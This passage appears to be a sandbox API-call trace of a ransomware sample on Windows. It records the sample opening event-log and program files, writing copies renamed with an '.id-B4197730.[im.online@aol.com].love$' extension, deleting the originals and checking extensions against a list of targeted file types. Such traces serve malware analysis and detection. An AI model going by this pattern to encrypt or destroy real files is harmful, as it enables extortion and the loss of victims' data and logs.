dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0227.498] GetLastError () returned 0x0 [0227.498] ReadFile (in: hFile=0x390, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x11000, lpOverlapped=0x0) returned 1 [0227.893] WriteFile (in: hFile=0x454, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x11010, lpOverlapped=0x0) returned 1 [0227.895] ReadFile (in: hFile=0x390, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0227.896] WriteFile (in: hFile=0x454, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x12c, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x12c, lpOverlapped=0x0) returned 1 [0227.896] SetEndOfFile (hFile=0x454) returned 1 [0227.896] CloseHandle (hObject=0x454) returned 1 [0227.900] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0227.900] SetEndOfFile (hFile=0x390) returned 1 [0227.902] CloseHandle (hObject=0x390) returned 1 [0227.902] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0227.903] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx")) returned 1 [0227.903] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0227.903] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0227.903] lstrlenW (lpString=".doc") returned 4 [0227.903] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0227.903] lstrlenW (lpString=".docx") returned 5 [0227.903] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0227.903] lstrlenW (lpString=".pdf") returned 4 [0227.903] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0227.903] lstrlenW (lpString=".xls") returned 4 [0227.903] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0227.903] lstrlenW (lpString=".xlsx") returned 5 [0227.903] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0227.903] lstrlenW (lpString=".ppt") returned 4 [0227.904] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0227.904] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0227.904] lstrlenW (lpString=".zip") returned 4 [0227.904] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0227.904] lstrlenW (lpString=".rar") returned 4 [0227.904] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0227.904] lstrlenW (lpString=".bz2") returned 4 [0227.904] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0227.904] lstrlenW (lpString=".7z") returned 3 [0227.904] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0227.904] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0227.904] lstrlenW (lpString=".dbf") returned 4 [0227.904] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0227.904] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0227.904] lstrlenW (lpString=".1cd") returned 4 [0227.904] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0227.904] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0227.904] lstrlenW (lpString=".jpg") returned 4 [0227.904] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0227.904] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0227.904] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0227.904] lstrlenW (lpString=".doc") returned 4 [0227.904] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0227.904] lstrlenW (lpString=".docx") returned 5 [0227.904] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0227.904] lstrlenW (lpString=".pdf") returned 4 [0227.904] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0227.904] lstrlenW (lpString=".xls") returned 4 [0227.904] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0227.904] lstrlenW (lpString=".xlsx") returned 5 [0227.905] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0227.905] lstrlenW (lpString=".ppt") returned 4 [0227.905] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0227.905] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0227.905] lstrlenW (lpString=".zip") returned 4 [0227.905] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0227.905] lstrlenW (lpString=".rar") returned 4 [0227.905] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0227.905] lstrlenW (lpString=".bz2") returned 4 [0227.905] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0227.905] lstrlenW (lpString=".7z") returned 3 [0227.905] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0227.905] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0227.905] lstrlenW (lpString=".dbf") returned 4 [0227.905] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0227.905] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0227.905] lstrlenW (lpString=".1cd") returned 4 [0227.905] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0227.905] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0227.905] lstrlenW (lpString=".jpg") returned 4 [0227.905] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0227.905] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0227.905] lstrlenW (lpString="Setup.evtx") returned 10 [0227.905] CreateFileW (lpFileName="C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0227.906] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=69632) returned 1 [0227.906] CloseHandle (hObject=0x390) returned 1 [0227.906] GetFileAttributesW (lpFileName="C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx")) returned 0x20 [0227.907] GetFileAttributesW (lpFileName="C:\\Logs\\Setup.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\setup.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0227.907] CreateFileW (lpFileName="C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0227.907] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0227.907] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0227.907] CreateFileW (lpFileName="C:\\Logs\\Setup.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\setup.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0227.908] GetLastError () returned 0x0 [0227.908] ReadFile (in: hFile=0x390, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x11000, lpOverlapped=0x0) returned 1 [0227.913] WriteFile (in: hFile=0x454, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x11010, lpOverlapped=0x0) returned 1 [0227.915] ReadFile (in: hFile=0x390, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0227.915] WriteFile (in: hFile=0x454, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0xe8, lpOverlapped=0x0) returned 1 [0227.915] SetEndOfFile (hFile=0x454) returned 1 [0227.916] CloseHandle (hObject=0x454) returned 1 [0227.920] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0227.920] SetEndOfFile (hFile=0x390) returned 1 [0227.922] CloseHandle (hObject=0x390) returned 1 [0227.922] SetFileAttributesW (lpFileName="C:\\Logs\\Setup.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0227.923] DeleteFileW (lpFileName="C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx")) returned 1 [0227.923] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0227.923] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0227.923] lstrlenW (lpString=".doc") returned 4 [0227.923] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0227.923] lstrlenW (lpString=".docx") returned 5 [0227.923] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0227.923] lstrlenW (lpString=".pdf") returned 4 [0227.923] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0227.923] lstrlenW (lpString=".xls") returned 4 [0227.923] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0227.923] lstrlenW (lpString=".xlsx") returned 5 [0227.923] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0227.923] lstrlenW (lpString=".ppt") returned 4 [0227.923] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0227.923] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0227.923] lstrlenW (lpString=".zip") returned 4 [0227.923] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0227.924] lstrlenW (lpString=".rar") returned 4 [0227.924] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0227.924] lstrlenW (lpString=".bz2") returned 4 [0227.924] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0227.924] lstrlenW (lpString=".7z") returned 3 [0227.924] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0227.924] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0227.924] lstrlenW (lpString=".dbf") returned 4 [0227.924] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0227.924] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0227.924] lstrlenW (lpString=".1cd") returned 4 [0227.924] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0227.924] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0227.924] lstrlenW (lpString=".jpg") returned 4 [0227.924] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0227.924] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0227.924] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0227.924] lstrlenW (lpString=".doc") returned 4 [0227.924] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0227.924] lstrlenW (lpString=".docx") returned 5 [0227.924] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0227.924] lstrlenW (lpString=".pdf") returned 4 [0227.924] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0227.924] lstrlenW (lpString=".xls") returned 4 [0227.924] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0227.924] lstrlenW (lpString=".xlsx") returned 5 [0227.924] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0227.925] lstrlenW (lpString=".ppt") returned 4 [0227.925] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0227.925] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0227.925] lstrlenW (lpString=".zip") returned 4 [0227.925] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0227.925] lstrlenW (lpString=".rar") returned 4 [0227.925] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0227.925] lstrlenW (lpString=".bz2") returned 4 [0227.925] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0227.925] lstrlenW (lpString=".7z") returned 3 [0227.925] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0227.925] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0227.925] lstrlenW (lpString=".dbf") returned 4 [0227.925] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0227.925] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0227.925] lstrlenW (lpString=".1cd") returned 4 [0227.925] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0227.925] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0227.925] lstrlenW (lpString=".jpg") returned 4 [0227.925] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0227.925] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0227.925] lstrlenW (lpString="System.evtx") returned 11 [0227.926] CreateFileW (lpFileName="C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0228.336] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=1118208) returned 1 [0228.336] CloseHandle (hObject=0x404) returned 1 [0228.336] GetFileAttributesW (lpFileName="C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx")) returned 0x20 [0228.336] GetFileAttributesW (lpFileName="C:\\Logs\\System.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\system.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0228.337] CreateFileW (lpFileName="C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0228.337] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0228.337] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0228.337] CreateFileW (lpFileName="C:\\Logs\\System.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\system.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0228.337] GetLastError () returned 0x0 [0228.337] ReadFile (in: hFile=0x404, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0xffff0, lpOverlapped=0x0) returned 1 [0228.386] WriteFile (in: hFile=0x450, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0xffff0, lpOverlapped=0x0) returned 1 [0228.594] ReadFile (in: hFile=0x404, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x11010, lpOverlapped=0x0) returned 1 [0228.605] WriteFile (in: hFile=0x450, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x11020, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x11020, lpOverlapped=0x0) returned 1 [0228.615] ReadFile (in: hFile=0x404, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0228.615] WriteFile (in: hFile=0x450, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0xea, lpOverlapped=0x0) returned 1 [0228.616] SetEndOfFile (hFile=0x450) returned 1 [0228.616] CloseHandle (hObject=0x450) returned 1 [0228.801] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0228.801] SetEndOfFile (hFile=0x404) returned 1 [0228.803] CloseHandle (hObject=0x404) returned 1 [0228.803] SetFileAttributesW (lpFileName="C:\\Logs\\System.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0229.031] DeleteFileW (lpFileName="C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx")) returned 1 [0229.367] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0229.367] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0229.367] lstrlenW (lpString=".doc") returned 4 [0229.367] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0229.367] lstrlenW (lpString=".docx") returned 5 [0229.367] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0229.367] lstrlenW (lpString=".pdf") returned 4 [0229.367] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0229.368] lstrlenW (lpString=".xls") returned 4 [0229.368] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0229.368] lstrlenW (lpString=".xlsx") returned 5 [0229.368] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0229.368] lstrlenW (lpString=".ppt") returned 4 [0229.368] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0229.368] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0229.368] lstrlenW (lpString=".zip") returned 4 [0229.368] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0229.368] lstrlenW (lpString=".rar") returned 4 [0229.368] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0229.368] lstrlenW (lpString=".bz2") returned 4 [0229.368] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0229.368] lstrlenW (lpString=".7z") returned 3 [0229.368] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0229.368] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0229.368] lstrlenW (lpString=".dbf") returned 4 [0229.368] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0229.368] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0229.368] lstrlenW (lpString=".1cd") returned 4 [0229.368] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0229.368] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0229.368] lstrlenW (lpString=".jpg") returned 4 [0229.368] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0229.368] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0229.368] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0229.368] lstrlenW (lpString=".doc") returned 4 [0229.368] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0229.369] lstrlenW (lpString=".docx") returned 5 [0229.369] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0229.369] lstrlenW (lpString=".pdf") returned 4 [0229.369] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0229.369] lstrlenW (lpString=".xls") returned 4 [0229.369] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0229.369] lstrlenW (lpString=".xlsx") returned 5 [0229.369] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0229.369] lstrlenW (lpString=".ppt") returned 4 [0229.369] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0229.369] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0229.369] lstrlenW (lpString=".zip") returned 4 [0229.369] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0229.369] lstrlenW (lpString=".rar") returned 4 [0229.369] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0229.369] lstrlenW (lpString=".bz2") returned 4 [0229.369] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0229.369] lstrlenW (lpString=".7z") returned 3 [0229.369] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0229.369] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0229.369] lstrlenW (lpString=".dbf") returned 4 [0229.369] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0229.369] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0229.369] lstrlenW (lpString=".1cd") returned 4 [0229.369] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0229.369] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0229.369] lstrlenW (lpString=".jpg") returned 4 [0229.370] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0229.370] lstrcmpiW (lpString1=".mui", lpString2=".love$") returned 1 [0229.370] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0229.370] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0229.370] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=10240) returned 1 [0229.371] CloseHandle (hObject=0x388) returned 1 [0229.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui")) returned 0x20 [0229.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0229.371] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0229.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui") returned 72 [0229.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui") returned 72 [0229.371] lstrlenW (lpString=".doc") returned 4 [0229.371] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0229.371] lstrlenW (lpString=".docx") returned 5 [0229.371] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0229.371] lstrlenW (lpString=".pdf") returned 4 [0229.371] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0229.371] lstrlenW (lpString=".xls") returned 4 [0229.371] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0229.371] lstrlenW (lpString=".xlsx") returned 5 [0229.371] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0229.372] lstrlenW (lpString=".ppt") returned 4 [0229.372] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0229.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui") returned 72 [0229.372] lstrlenW (lpString=".zip") returned 4 [0229.372] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0229.372] lstrlenW (lpString=".rar") returned 4 [0229.372] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0229.372] lstrlenW (lpString=".bz2") returned 4 [0229.372] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0229.372] lstrlenW (lpString=".7z") returned 3 [0229.372] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0229.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui") returned 72 [0229.372] lstrlenW (lpString=".dbf") returned 4 [0229.372] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0229.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui") returned 72 [0229.372] lstrlenW (lpString=".1cd") returned 4 [0229.372] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0229.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui") returned 72 [0229.372] lstrlenW (lpString=".jpg") returned 4 [0229.372] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0229.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui") returned 72 [0229.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui") returned 72 [0229.372] lstrlenW (lpString=".doc") returned 4 [0229.372] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0229.372] lstrlenW (lpString=".docx") returned 5 [0229.372] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0229.372] lstrlenW (lpString=".pdf") returned 4 [0229.372] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0229.373] lstrlenW (lpString=".xls") returned 4 [0229.373] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0229.373] lstrlenW (lpString=".xlsx") returned 5 [0229.373] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0229.373] lstrlenW (lpString=".ppt") returned 4 [0229.373] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0229.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui") returned 72 [0229.373] lstrlenW (lpString=".zip") returned 4 [0229.373] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0229.373] lstrlenW (lpString=".rar") returned 4 [0229.373] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0229.373] lstrlenW (lpString=".bz2") returned 4 [0229.373] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0229.373] lstrlenW (lpString=".7z") returned 3 [0229.373] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0229.373] lstrlenW (lpString="C:\\Program 